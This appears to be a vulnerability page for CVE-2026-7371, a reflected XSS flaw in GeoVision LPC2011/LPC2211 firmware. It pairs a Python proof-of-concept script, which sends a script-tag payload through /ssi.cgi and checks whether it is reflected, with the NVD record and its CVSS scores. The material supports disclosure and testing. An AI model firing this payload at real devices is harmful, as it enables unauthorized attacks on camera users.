CVE-2026-7371

import requests def check_xss_vulnerability(target_ip): """ Proof of Concept (PoC) for CVE-2026-7371. This script checks if the target is vulnerable to Reflected XSS via /ssi.cgi. """ # The vulnerability is triggered by accessing a non-existing page # which reflects the path in the error message. payload = "<script>alert('CVE-2026-7371_PoC')</script>" # Construct the malicious URL # Assuming default web interface port and path base_url = f"http://{target_ip}" attack_url = f"{base_url}/ssi.cgi/{payload}" try: print(f"[*] Sending request to: {attack_url}") response = requests.get(attack_url, timeout=5) # Check if the payload is reflected in the response body if payload in response.text: print("[+] Vulnerability Confirmed! The payload was reflected in the response.") print("[+] Potential for arbitrary JavaScript execution exists.") return True else: print("[-] Vulnerability not detected or payload was sanitized.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target IP address target = "192.168.1.100" check_xss_vulnerability(target)

{"cve": {"id": "CVE-2026-7371", "sourceIdentifier": "0df08a0e-a200-4957-9bb0-084f562506f9", "published": "2026-05-04T01:16:04.590", "lastModified": "2026-05-05T02:39:20.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple reflected cross-site scripting (xss) vulnerabilities exist in the Web Interface / ssi.cgi functionality of GeoVision LPC2011/LPC2211 1.10. A specially crafted malicious url can lead to an arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability. Reflected XXS via the error message for requesting non-existing page."}], "metrics": {"cvssMetricV31": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-lpc2011_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "C1E349A9-4EEF-40B6-89A0-86242C2ADBC5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-lpc2011:-:*:*:*:*:*:*:*", "matchCriteriaId": "87CE78D0-0894-451F-9A70-4F2A8062EC8A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-lpc2211_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "0F3B818E-22D3-400A-AF2C-DEA66280464A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-lpc2211:-:*:*:*:*:*:*:*", "matchCriteriaId": "59F15521-B4F3-4CCA-8C03-0A4EA2864C6E"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Third Party Advisory"]}, {"url": "https://www.geovision.com.tw/cyber_security.php", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Vendor Advisory"]}]}}